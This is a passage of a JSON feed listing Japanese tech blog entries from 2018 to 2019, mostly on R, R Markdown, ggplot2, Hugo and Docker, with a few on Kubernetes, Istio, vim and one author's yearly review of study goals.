9.27-1).","link":"https://blog.atusy.net/2019/05/23/outline-pdf-glyphs-by-gs/","isoDate":"2019-05-23T00:00:00.000Z","dateMiliSeconds":1558569600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown でコードブロックに行番号を表示する 〜最終章〜","contentSnippet":"Rmd で様々な HTMLフォーマット に出力した時にコードブロックに行番号を表示する機能 +α を PR したので使い方の紹介と PR の記録,","link":"https://blog.atusy.net/2019/05/19/rmd-line-num-pr/","isoDate":"2019-05-19T00:00:00.000Z","dateMiliSeconds":1558224000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio 1.2.x では install.packages する時にパッケージ名を補完してくれる","contentSnippet":"リリースノートにも載っていない RStudio 1.2.x の世界ん?install.packagesするとき、ライブラリ名が補完される・・・???という @niszet0 氏の 投稿 を発端に確認.なぜか私が纏めることに.上の画像のように,パッケージ名を引用符で囲わずに入力し始め,tab キーを押すと幸せになれる.","link":"https://blog.atusy.net/2019/05/18/auto-complete-when-install-package/","isoDate":"2019-05-18T00:00:00.000Z","dateMiliSeconds":1558137600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown + XeLaTeX で日本語含め好きなフォントを使って PDF を出力する","contentSnippet":"これまでに度々 Rmd で日本語 PDF を出力する系の記事を書いてきました.RMarkdown + XeLaTeX + Noto フォントで日本語 PDF を出力するhttps://blog.atusy.net/2019/04/29/notocjkjp-on-rmd/Rmarkdownで日本語PDFを出力するhttps://qiita.com/Atsushi776/items/9ef1e5d744e2b91c61eej両記事は共に IPA(ex) フォントを使ってきました.","link":"https://blog.atusy.net/2019/05/14/rmd2pdf-any-font/","isoDate":"2019-05-14T00:00:00.000Z","dateMiliSeconds":1557792000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"knitr をフォークする時は knitr-examples もフォークした方がいい","contentSnippet":"R Markdown のコードブロックで行番号を便利に使えるよう,関連パッケージに働きかけています.bookdown::html_document2 に clean_highlight_tags を追加(#706; merged)pagedown の default.css を編集して出力の見た目を修正(#100; approved)knitr のコードブロックに Pandoc のfenced code attributesをフルサポートさせる(#1710)詳細は全てがマージされたら報告しようかなと.","link":"https://blog.atusy.net/2019/05/13/forking-knitr/","isoDate":"2019-05-13T00:00:00.000Z","dateMiliSeconds":1557705600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo テーマを更新して UX 向上を狙ってみた","contentSnippet":"当 blog は 静的サイトジェネレータの Hugo によって運用している.テーマは長らく Xzya/hugo-bootstrap だデモサイト).しかし,目立つ青が随所に散らばるテーマであることなど,イマイチ読み難いように感じていた.","link":"https://blog.atusy.net/2019/05/11/simplified-hugo-bootstrap/","isoDate":"2019-05-11T00:00:00.000Z","dateMiliSeconds":1557532800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo で KaTeX","contentSnippet":"MathJax より軽量で高速な KaTeX に乗り換えた","link":"https://blog.atusy.net/2019/05/09/katex-in-hugo/","isoDate":"2019-05-09T19:00:00.000Z","dateMiliSeconds":1557428400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Hugo (blogdown) で MathJax","contentSnippet":"Hugo (blogdown) で MathJax を利用する方法を紹介.ただし,2019-05-09 以降は KaTeX を採用しているため,数式のレンダリングは KaTeX によるもの.","link":"https://blog.atusy.net/2019/05/09/how2mathjax/","isoDate":"2019-05-09T18:00:00.000Z","dateMiliSeconds":1557424800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RMarkdown + XeLaTeX + Noto フォントで日本語 PDF を出力する","contentSnippet":"はじめに過去に 「Rmarkdownで日本語PDFを出力する」という記事を書いた.ここでは以下のような YAML フロントマターを用いて, IPA フォントによる日本語 PDF を出力した.---output: pdf_document: latex_engine: xelatex header-includes: - \\\\usepackage{bookmark} - \\\\usepackage{xltxtra} - \\\\usepackage{zxjatype} - \\\\usepackage[ipa]{zxjafont} ---\\\\usepackage[ipa]{zxjafont} という部分で IPA フォントを指定しているが,ここには他のフォントも指定できる1.","link":"https://blog.atusy.net/2019/04/29/notocjkjp-on-rmd/","isoDate":"2019-04-29T00:00:00.000Z","dateMiliSeconds":1556496000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker/verse でも Rmd → PDF 時に必要なパッケージが自動インストールできるようになった","contentSnippet":"rocker/verse における Tex Live 関連の権限が更新され, tlmgr install や Rmd → PDF 時に必要なパッケージの自動インストールが可能になった.Dockerfile 編集時には注意点あり.","link":"https://blog.atusy.net/2019/04/27/tlmgr-install-on-rocker/","isoDate":"2019-04-27T00:00:00.000Z","dateMiliSeconds":1556323200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"highlightjs と highlightjs-line-numbers プラグインで Rmarkdown のコードブロックに行番号をつける","contentSnippet":"highlightjs と highlightjs-line-numbers プラグインによって, 様々な html フォーマットにおいてコードブロックに番号付けできるようにする方法を紹介する.","link":"https://blog.atusy.net/2019/04/22/rmd-line-num-with-highlightjs/","isoDate":"2019-04-22T00:00:00.000Z","dateMiliSeconds":1555891200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmarkdown でチャンクとその出力に行番号を付ける","contentSnippet":"html_document と pdf_document でチャンクとその出力に行番号を付ける方法が判ったので,紹介します.出力例と詳解は英語版をご覧下さい.","link":"https://blog.atusy.net/2019/04/18/rmd-line-num/","isoDate":"2019-04-18T00:00:00.000Z","dateMiliSeconds":1555545600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Form","contentSnippet":"Send","link":"https://blog.atusy.net/netlify-forms/","isoDate":"2019-04-17T00:00:00.000Z","dateMiliSeconds":1555459200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"プライバシーポリシー","contentSnippet":"本文書は,当サイト (Atusy’s blog) における個人情報の保護およびその適切な取り扱いについての方針を示したものです.当サイトが利用しているアクセス解析ツールに関して当サイトでは,Googleによるアクセス解析ツール「Googleアナリティクス」を利用しています.このGoogleアナリティクスはトラフィックデータの収集のためにCookieを使用しています.このトラフィックデータは匿名で収集されており,個人を特定するものではありません.","link":"https://blog.atusy.net/privacy-policy/","isoDate":"2019-04-17T00:00:00.000Z","dateMiliSeconds":1555459200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"rocker で使える便利コマンド install2.r とその仲間たち powered by littler","contentSnippet":"rocker で使える install2.r や installGithub.r は,シェル上から CRAN や GitHub 上の R パッケージをインストールするコマンドです.これらの正体や TIP を纏めました.","link":"https://blog.atusy.net/2019/04/16/littler-on-rocker/","isoDate":"2019-04-16T00:00:00.000Z","dateMiliSeconds":1555372800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"xonsh 始めました + xonshrc 弄って oh-my-fish/yimmy inspired な見た目にする","contentSnippet":"Python が動いちゃうシェルこと xonsh を導入しました.早速最低限の設定としてばんくし氏の xonshrc を撮み食いしつつ,Look & Feel を oh-my-fish/theme-yimmy inspired なものにしました.","link":"https://blog.atusy.net/2019/04/14/xonsh-debut/","isoDate":"2019-04-14T00:00:00.000Z","dateMiliSeconds":1555200000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2 をもっとカンタンに plotly 化する","contentSnippet":"ggplot(mtcars, aes(wt, mpg)) + geom_point() + gginteractive() といった感じで,ggplot に優しい文法で ggplot を plotly 化できるようにしてみました.gghighlight との組み合わせも便利です.","link":"https://blog.atusy.net/2019/03/22/ggplotly-asif-layer/","isoDate":"2019-03-22T00:00:00.000Z","dateMiliSeconds":1553212800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Istioが作るサービスメッシュ~サンプルアプリのデプロイ~","contentSnippet":"サンプルアプリ題材: BookInfo アプリケーション※ 事前にIstioをKubernetesにデプロイしておいてください.構成サンプルアプリのデプロイistio-1.0.6 dire…","link":"https://qiita.com/tozastation/items/1f3c3f213b42e1689406","isoDate":"2019-03-14T05:18:21.000Z","dateMiliSeconds":1552540701000,"authorName":"tozastation","authorId":"tozastation"},{"title":"CNAME ファイルだけで GitHub pages から301リダイレクトする","contentSnippet":"GitHub pages を利用していたレポジトリに転送先のドメインを記述したファイルを作成すると user.github.io/repository/* へのアクセスが指定したドメインに転送されるようになります.","link":"https://blog.atusy.net/2019/03/11/use-cname-to-redirect-from-gh-pages/","isoDate":"2019-03-11T00:00:00.000Z","dateMiliSeconds":1552262400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"git でプレゼン資料を纏めるなら各資料は submodule 化しとくとよさげ","contentSnippet":"私はプレゼン資料を atusy/presentation に纏めて公開している.プレゼンの機会なんて無制限にあるので色々面倒が生じる気がしてきた.資料ごとに git log を分けたいsubmodule ならできる振り返る気のない資料は適宜 local から消したいディスク容量節約","link":"https://blog.atusy.net/2019/02/14/submodulize-presentations/","isoDate":"2019-02-14T00:00:00.000Z","dateMiliSeconds":1550102400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RStudio daily builds な rocker/verse をビルド時間短かめに作る","contentSnippet":"※この記事は元々,Rstudio 1.2.x preview版を利用したい人向けの記事でした. 2019-04-08 に Rstudio 1.2.1335 が正式リリースされたので, daily builds を使いたい人向けに改題しました.","link":"https://blog.atusy.net/2019/02/12/dockerfile-rocker-verse-daily/","isoDate":"2019-02-12T00:00:00.000Z","dateMiliSeconds":1549929600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"hugo_bootstrap のサイドバーにシェアボタンを追加","contentSnippet":"やっぱり Share ボタンは欲しいよねということで雑に実装した.","link":"https://blog.atusy.net/2019/02/08/sns-buttons/","isoDate":"2019-02-08T00:00:00.000Z","dateMiliSeconds":1549584000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"専用パッケージを導入せず GitHub 上の R パッケージをインストールする","contentSnippet":"TL;DRGitHub上の R パッケージのインストールは以下のようにコマンド一発でできる.force = TRUE による強制インストールなどいろいろできる.","link":"https://blog.atusy.net/2019/02/07/stand-alone-remotes-install-github/","isoDate":"2019-02-07T00:00:00.000Z","dateMiliSeconds":1549497600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"pkgdown で作った Webサイトを引越ししたら algolia/docsearch-configs に設定変更を PR しよう","contentSnippet":"docsearch を利用すると,pkgdown で作ったページの全文検索機能を簡単に設定できる (https://pkgdown.r-lib.org/articles/pkgdown.html#search).先日 pkgdown サイトの URL を qntmap.atusy.net に変更したので,algolia も変えなきゃと思って改めて新規申し込みしてしまった.","link":"https://blog.atusy.net/2019/01/25/url-change-for-algolia/","isoDate":"2019-01-25T00:00:00.000Z","dateMiliSeconds":1548374400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Warnning: newer than the core を放置せずに pacman -Syuu しとこう (Manjaro linux)","contentSnippet":"pacman -Syu でアップグレードした際に,Warnning: newer than the coreといった警告が出ることがあります.特に systemd などシステムに深く関連するパッケージが警告を貼っする時は pacman -Syuu して新しすぎるパッケージをダウングレードしましょう.","link":"https://blog.atusy.net/2019/01/24/pacman-syuu-when-pkg-is-newer-than-core/","isoDate":"2019-01-24T00:00:00.000Z","dateMiliSeconds":1548288000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub pages から Netlify に移行 + 独自ドメイン化","contentSnippet":"これまで blog を GitHub pages 上で公開してきたが,思い立って独自ドメインで Netlify に移行した.移行のメリットは Yi Hui が語っているけれど,以下に自分にとっての理由と手順の概略を書き留めておく.","link":"https://blog.atusy.net/2019/01/23/test-netlify/","isoDate":"2019-01-23T00:00:00.000Z","dateMiliSeconds":1548201600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"べき演算のベンチマーク","contentSnippet":"確認のための準備bench::markbench::press手動ベンチプレス100乗: * の負け90乗: * の勝ち1000乗: 工夫すれば * も勝てるベクトルを長くしてみる @ 90乗: * が勝てるベクトルを短かくしてみる @ 90乗: : * が負ける底をデカくしてみる @ 90乗: * が勝つEnjoyべき演算をするには ^ を使うか * を使えばいいけれど,条件次第ではなんと * が勝つらしいことが分かった.","link":"https://blog.atusy.net/2019/01/22/power-calc-bench/","isoDate":"2019-01-22T00:00:00.000Z","dateMiliSeconds":1548115200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot で scale = free な facet の軸を調整する","contentSnippet":"はじめにfacet の基本的な例パッケージのロードscales 引数を変えた時の様子を比較全 facet 共通で xmin = ymin = 0 にしてみる任意の facet で軸の範囲をコントロールする.Enjoy!前に Tokyo.R で「ggplot2で図を並べる」と題して色々話させてもらいました.時間や難易度の都合で話し切れていない部分も多々あるのですが,今日はその中の1つを補足したいと思います.はじめにggplot2 で facet を使って図を並べる時, scales 引数を指定することでfacet ごとの軸の範囲を可変にできます.軸の範囲は ggplot2 がそれっぽく決めてくれるのですが,特定の facet について自分でコントロールしたい時はどうすればいいでしょうか.","link":"https://blog.atusy.net/2019/01/20/control-axes-in-faceted-plots/","isoDate":"2019-01-20T00:00:00.000Z","dateMiliSeconds":1547942400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot の facet ごとに共通なプロットを盛り込む","contentSnippet":"はじめにfacet で表示されない部分のデータをグレーでプロットしてみるversicolor と virginica だけで facet してそれぞれの facet に setosa を表示するEnjoy!はじめにfacet を使うと以下のようにグループごとにプロットを分けることができます.しかし,グループ間の比較を行うのがちょっと辛いですね.こんな時,どうすればいいのでしょうか.","link":"https://blog.atusy.net/2019/01/20/share-data-in-facets/","isoDate":"2019-01-20T00:00:00.000Z","dateMiliSeconds":1547942400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"base にパイプはないといつ言った?","contentSnippet":"時はパイプ戦国時代.Tidyverse が覇権を握る世界線において pipe とは magrittr::`%>%` のことでしょうか.私は pipeR::`%>>%` 派ですね.他にも wrapr::`%.>%` など,色々な宗派があります.pipe の成り立ちを探る神学者たちも続々と表れております.","link":"https://blog.atusy.net/2019/01/19/yet-another-pipe/","isoDate":"2019-01-19T00:00:00.000Z","dateMiliSeconds":1547856000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"一度に複数の変数を force する","contentSnippet":"結論force(list(a, b, c, ...)) とすればいい.f <- function(a, b, c, ...) { force(list(a, b, c, ...)) # 先に評価したいものから list に入れる 10}f() #> Error in force(list(a, b, c, ...)) : argument \\"a\\" is missing, with no defaultf(stop(\\"a でエラー\\"))#> Error in force(list(a, b, c, ...)) : a でエラーf(a = 1) #> Error in force(list(a, b, c, ...)) : argument \\"b\\" is missing, with no defaultf(a = 1, b = 1)#> Error in force(list(a, b, c, ...)) : argument \\"c\\" is missing, with no defaultf(a = 1, c = 1)#> Error in force(list(a, b, c, ...)) : argument \\"b\\" is missing, with no default# OKf(a = 1, b = 1, c = 1)f(a = 1, b = 1, c = 1, d = 1)背景Rでは関数の引数が遅延評価されるため,引数は使わない限り評価されない“Adv. R: Lazy evaluation”).force 関数を使う.xforce を使うことで開発者の意図を盛り込もう.","link":"https://blog.atusy.net/2019/01/18/force-many-vars-at-once/","isoDate":"2019-01-18T00:00:00.000Z","dateMiliSeconds":1547769600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"captioner を魔改造してみた","contentSnippet":"はじめに実装captioner を初期化キャプションを振る時は相互参照に利用する名前を id に流用参照する時は相互参照に利用する名前をリンクにする図をテストplot()表をテストknitr::kable()gt::gt()id付け失敗id付け成功例1id付け成功例2gt は相互参照未対応であることを確認はじめにcaptioner を使うと相互参照に未対応な Rmd フォーマットも相互参照できるようになる(rmarkdown::html_document とか pkgdown とか……).詳しくはテラモナギさんの記事を参照(captionerパッケージで図・表に対する参照(レファレンス)を取得する).","link":"https://blog.atusy.net/2019/01/17/enhance-captioner/","isoDate":"2019-01-17T00:00:00.000Z","dateMiliSeconds":1547683200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"S3総称関数の引数の既定値はメソッドに渡らない","contentSnippet":"Error と周辺の挙動f <- function(x, n = 1, ...) UseMethod(\\"f\\")f.default <- function(x, n, ...) nf(NULL)## Error in f.default(NULL): argument \\"n\\" is missing, with no defaultてっきり f(NULL) を実行すると,既定で n = 1 だから,f.default(x = NULL, n = 1) が呼び出されるとばかり思っていた.メソッドに渡される引数は明示的に値を与えたものだけらしい.","link":"https://blog.atusy.net/2019/01/16/s3-generics-dont-pass-default-params-to-methods/","isoDate":"2019-01-16T00:00:00.000Z","dateMiliSeconds":1547596800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"group_map などの data frame を要約する関数をベンチマーク (dplyr > 0.8.x)","contentSnippet":"パッケージ読み込みベンチマーク結果表Ridgeline 図箱ひげ図感想と補足Enjoy!tidyverse において,grouped data frame に対して grouping variables以外の各列に関数を適用する方法は種々ある.summarize: 関数の返り値が長さ1の時group_map: 関数の返り値がデータフレームの時nest %>% map: 関数の返り値が複雑な時基本は上述の使い分けのようだが (help(dplyr::group_map)),一応, summarize も返り値を list() してやると複雑な処理に対応できる(後述).","link":"https://blog.atusy.net/2019/01/04/benchmarks-on-summarizing-with-dplyr/","isoDate":"2019-01-04T00:00:00.000Z","dateMiliSeconds":1546560000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"2018年振り返りと、2019年の目標","contentSnippet":"2018年5月末から、エンジニアリングに関する様々な活動を行ってきました。\\r1年の終わりにそれらの活動をまとめ、2019年の目標を記したいと思います。\\r\\r2018年の活動\\r2018年は積極的に新しい技術へチャレンジし、勉強会を通して素晴らしい方々に出会うことができました。\\r新たに触れた技術・ツール\\r\\rGitHub\\rNode.js\\rAngular\\rGolang\\rCentOS\\rDocker\\rKubernetes\\rAzure\\rGCP\\rOWASP ZAP\\rLINE BOT/Clova\\rAgile\\rペアプログラミング/モブプログラミング\\r\\r勉強会・カンファレンス\\r\\rLINE Developer Meetup\\rde:code 2018\\rAzureもくもく会\\rng-japan 2018\\rSQL Server 2017勉強会\\rInteract 2018\\rCCSE 2018\\rThink Japan IBM Code Day\\rJXUG Xamarinハンズオン\\rCosmos DBハンズオン\\rくじらや Dockerハンズオン\\rLINE Clovaスキル開発ハンズオン\\rLINE BOOT AWARDS 2018 ハッカソン\\rGDG DevFest Tokyo 2018\\rXP祭り\\rAzureML勉強会\\rBIT VALLEY 2018\\r.NET Conf 2018\\rContainer SIG Meet-up\\rテスト管理を語る夕べ\\rAVTOKYO\\rアジャイル相談室\\rOSSセキュリティ技術の会\\rJapan Container Days\\r\\r※Japan Container Daysはスタッフとして参加させてもらいました。\\r書籍\\r読了\\r\\r徹底攻略 データベーススペシャリスト教科書\\r徹底攻略 ネットワークスペシャリスト教科書\\rショートコードプログラミング 第3版\\r新装版 達人プログラマー\\rSQLアンチパターン\\rインフラエンジニアの教科書2\\rプログラマのためのDocker教科書 第2版\\rDocker/Kubernetes 実践コンテナ開発入門\\r\\r読みかけ\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\r\\r社内の活動\\r\\r技術交流、コミュニケーション促進のためチャンネルを開設\\r社内勉強会を主催\\rモブプログラミング・ペアプログラミングを開始\\r\\r資格\\r合格\\r\\rデータベーススペシャリスト\\r\\r不合格\\r\\rネットワークスペシャリスト\\r\\r午後Ⅰが1点足りず…\\rその他\\r\\rはてなブログを開設\\rQiitaアドベントカレンダーに参加\\r\\r2019年の目標\\r7ヶ月間の活動の中で、様々な技術分野にチャレンジした結果、インフラ・セキュリティへの関心が強いことがわかりました。\\r2019年はContainerを中心にインフラのスキルを身に着け、セキュリティ分野の知見を広めていきます。\\r書籍\\r\\r体系的に学ぶ 安全なWebアプリケーションの作り方 第2版\\rKubernetes完全ガイド\\rハッカーの学校\\rテスト駆動開発\\r徹底マスター JavaScriptの教科書\\rドメイン駆動設計\\rハッキング・ラボのつくりかた\\r\\r資格\\r\\rLPIC Level1\\r情報処理安全確保支援士\\rネットワークスペシャリスト","link":"https://kyohmizu.hatenablog.com/entry/2018/12/31/231740","isoDate":"2018-12-31T14:17:40.000Z","dateMiliSeconds":1546265860000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"モバイルファクトリーのインフラアーキテクチャというアドベントカレンダー書いてました","contentSnippet":"ちょっと過去の話ですが、会社の技術ブログで書いてました。tech.mobilefactory.jp","link":"https://blog.masasuzu.net/entry/2018/12/22/000000","isoDate":"2018-12-21T15:00:00.000Z","dateMiliSeconds":1545404400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"kubernetesにあるIngress Controller�の一覧を挙げてみる","contentSnippet":"はじめにIngress ControllerはL7 Load Balancerの機能を果たすものであり、Ingressリソースはそのルールを定義したものです。このIngress Controlle…","link":"https://qiita.com/skikkh/items/c59de1f5e188d0bbeb35","isoDate":"2018-12-17T14:21:33.000Z","dateMiliSeconds":1545056493000,"authorName":"skikkh","authorId":"skikkh"},{"title":"pacman でパッケージのインストール・ロードを簡単にする","contentSnippet":"pacman パッケージとはpacman パッケージの関数インストール / 読み込みを行うものその他便利関数10選needs パッケージとの比較pacman でも needs::prioritize したい?改善案GitHub 上のパッケージも NSE で指定したいCRAN 上のパッケージも GitHub 上のパッケージも同じ関数で指定したいCRAN 上のパッケージも @ でバージョン指定したいGitHub 上のパッケージも一時的な利用をしたい上記を合体させたいpacman パッケージとはR におけるパッケージ管理ツール.1","link":"https://blog.atusy.net/2018/12/15/pacman/","isoDate":"2018-12-15T00:00:00.000Z","dateMiliSeconds":1544832000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"furrr パッケージで R で簡単並列処理","contentSnippet":"インストール読み込み使い方シングルスレッド (strategy = sequential)マルチスレッド (strategy = multiprocess)コア数を変更乱数を固定プログレスバーを表示出力の型furrr パッケージを使うとpurrr パッケージのノリでモダンに並列処理ができるぞ!purrr パッケージを使ったことがない人は下記のリンクを参考して欲しい.","link":"https://blog.atusy.net/2018/12/06/furrr/","isoDate":"2018-12-06T00:00:00.000Z","dateMiliSeconds":1544054400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"furrr パッケージで ggplot のリストの表示を高速化する","contentSnippet":"はじめに実装とテストベンチマーク感想はじめに前にhoxo-m/pforeach パッケージを利用して,ggplot のリストを並列処理し,描写の高速化を行いました.しかし, hoxo-m/pforeach パッケージの霊圧が消えてしまったので,furrr パッケージを試してみることにしました.","link":"https://blog.atusy.net/2018/12/05/accelerate-list-of-ggplot-with-furrr/","isoDate":"2018-12-05T00:00:00.000Z","dateMiliSeconds":1543968000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"日本語でvimのfを使う","contentSnippet":"fvimではf, F, t, Tを使うことで、瞬時に目的の文字上にカーソルを移動することができます。動作faでカーソルから右側の方向の1番近い「a」の位置に移動することができます。3faでカ…","link":"https://qiita.com/atsuya0/items/d90bb3f4b8e538c028a9","isoDate":"2018-12-04T06:03:39.000Z","dateMiliSeconds":1543903419000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Japan.R 2018 感想","contentSnippet":"Japan.R 2018 に参加しました発表の感想Long TalkR によるシステム開発入門 by @kos59125R Markdown テンプレートの作り方 by @kazutanGUI で簡単!モダンなデータ解析 by @efprime_jpShiny 完全に理解した by @Med_KULightning Talkgepuro task views 2nd by @gepuro条件付き相互作用の分析 by 太田博三DID 分析の説明 by やぎべゑcontextual パッケージでバンディットアルゴリズムの検証 by @housecat442スポーツチームでの R 活用の可能性 (ラグビーでの例を通して) by Koichi Kinoshita分析屋が福岡に移住して2年経った話 by @doradora09SagemakeR by @hiratake55Rによる分位点処置効果推定の話 by Yusuke Kanekoなんかやる(高速化周りかも) by かんこれアラサーエンジニア シティボーイ化計画 - 都会のお得物件を統計的に探してみる - by @hana_orinRcpp パッケージで外部 C++ ライブラリを使う by @heavywataldigdag で R をバッチり回す by @chengvtR で書く R コンパイラ by @igjit(仮)深層学習か画像認識で何かやります by nakamichi関数魔改造講座 (formals編) by atusyPlayer Rating with R by shrrt量子化学 (フラグメント分子軌道法) でも R したい(薬) 川嶋裕介ぼくの町の不安定 by tanaka_marimoこの IR のグラフがすごい! 上場企業2018 @ito_yanJapan.R 2018 に参加しました今回も多種多様でハイレベルな発表でしたね。個人的には自称 BeginneR 達の躍進が嬉しかったです。短期間に ggplot2 パッケージや leaflet パッケージを使えるようになって LT してくれる、これはコミュニティの情報共有の目醒ましい成果だと思います。","link":"https://blog.atusy.net/2018/12/02/japanr2018-joined/","isoDate":"2018-12-02T00:00:00.000Z","dateMiliSeconds":1543708800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"viridisの色数","contentSnippet":"viridis や cividis は、色の変化が知覚的に一様となるよう調整された、連続的なカラースケール。白黒印刷するとグレースケールになるので、プリンタにも優しい。viridis は論文がなさそうだが、 cividis は論文にもなっているようだ (https://arxiv.org/ftp/arxiv/papers/1712/1712.01662.pdf)。","link":"https://blog.atusy.net/2018/11/25/size-of-viridis-color-palette/","isoDate":"2018-11-25T00:00:00.000Z","dateMiliSeconds":1543104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"書評 「R MarkdownでWord文書を作ろう」","contentSnippet":"RmdでWord本の再販が間近に迫っていますね.これは献本頂いた時にしたレビューの約束を果たす時!!Rmdでこんなに完成したWordドキュメントを作れるんだ……! と感動できるので是非.","link":"https://blog.atusy.net/2018/11/25/rmd-de-word/","isoDate":"2018-11-25T00:00:00.000Z","dateMiliSeconds":1543104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"`ggplot2::coord_cartesian(xlim = c(0, NA))` できるようにしてみた","contentSnippet":"問題実装オリジナル修正版実験他のcoord_系列も問題なさそう感想PRに向けての試験的な実装.https://github.com/atusy/ggplot2/commit/26c1b7a478585889947d265d691e375e399637c3なぜかxlimやylimに長さ3以上の連続値を取れてしまうので,本来はscale_*_continuousやxlimに合わせて長さ2までに制限すべきだと思う","link":"https://blog.atusy.net/2018/11/22/strange-coord-functions-ggplot2/","isoDate":"2018-11-22T00:00:00.000Z","dateMiliSeconds":1542844800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"CSSでヘッダの行間を調整してみた","contentSnippet":"h1からh2そしてh3までの余白が以前はこんな感じで辛かった h2 h3 h2 h3 余白であって、行間ではないので、長い見出しを書いても大丈夫ですやりかたhugoを使っているので、テーマが保存されているディレクトリの","link":"https://blog.atusy.net/2018/11/21/mod-css-margin/","isoDate":"2018-11-21T00:00:00.000Z","dateMiliSeconds":1542758400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Shinyでggplot2の選択領域を拡大 (brushOpts)","contentSnippet":"Shinyでplotly.jsを使わずにインタラクティブな図を作れるのかなと思ったら、「Shiny 100本ノック」の【Shiny小技】グラフをダブルクリックすると情報が取得できる、dblclickOptsの紹介を見つけました。どうやら、 brushOpts なるものを使えば、 plot (ggplot2 を含む)の拡大ができるようなので試してみました。","link":"https://blog.atusy.net/2018/11/21/shiny-brushopts/","isoDate":"2018-11-21T00:00:00.000Z","dateMiliSeconds":1542758400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ヒストグラムのビンの色をx軸に応じて変える","contentSnippet":"ヒストグラムをヒートマップの凡例 + αにしたい試行錯誤の歴史データ整形ヒストグラムfill = x ではダメfill = stat(x) ならOKソース追記tl; drgeom_histogram(aes(fill = stat(x))) すればいい。ヒストグラムをヒートマップの凡例 + αにしたいから、ヒストグラムのビンの色をx軸に応じて変えたいと思った。","link":"https://blog.atusy.net/2018/11/20/histogram-fill-along-x/","isoDate":"2018-11-20T00:00:00.000Z","dateMiliSeconds":1542672000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"felp 0.1.3","contentSnippet":"felp 0.1.3 を 公開 しました.ようやく実用レベルになったかと思います.関数のソースとヘルプを同時に見たい人のためのパッケージです.ソースの読解が捗りますね!インストール方法devtools::install_github(\\"atusy/felp\\")使い方?print や print?. と打つだけ.","link":"https://blog.atusy.net/2018/11/18/felp-0-1-3/","isoDate":"2018-11-18T00:00:00.000Z","dateMiliSeconds":1542499200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmdのfig.capを図を生成するチャンク内にglueで書く","contentSnippet":"Rmdのchunkオプションである fig.cap の評価は,チャンクの評価が終わってからです.この性質を利用すると,チャンク内にキャプションと図を同居させることが簡単になります.","link":"https://blog.atusy.net/2018/11/11/glue-for-fig-cap-in-rmd/","isoDate":"2018-11-11T00:00:00.000Z","dateMiliSeconds":1541894400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2のレジェンド位置を調整","contentSnippet":"ggplot2のレジェンド位置を変えるにはLet’s try!パッケージ基本となる図を用意レジェンド位置を数値で指定するレジェンド位置を文字列で指定するlegend.positionlegend.justificationEnjoy!ggplot2のレジェンド位置を変えるにはCookbookのChanging the position of the legendが参考になる.要は theme() を使ってlegend.position を長さ2の数値ベクトルないし\\"none\\" , \\"left\\" , \\"right\\" , \\"bottom\\" , \\"top\\" の文字列で与え,","link":"https://blog.atusy.net/2018/11/10/ggplot2-legend-pos-n-just/","isoDate":"2018-11-10T00:00:00.000Z","dateMiliSeconds":1541808000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"geom_histogramのビン幅を動的に決定する","contentSnippet":"TL; DRggplot2のヒストグラムはビン数30が既定ビン幅を動的に決めたいgeom_histogram(binwidth = ) に関数を指定ビン幅を決める関数を定義テストEnjoy!TL; DRgeom_histogram(binwidth = ) はデータを受け取ってビン幅を返す関数を受け付けるよ。ggplot2のヒストグラムはビン数30が既定なぜ……。調整するには bins でビン数を変えるか、 binwidth 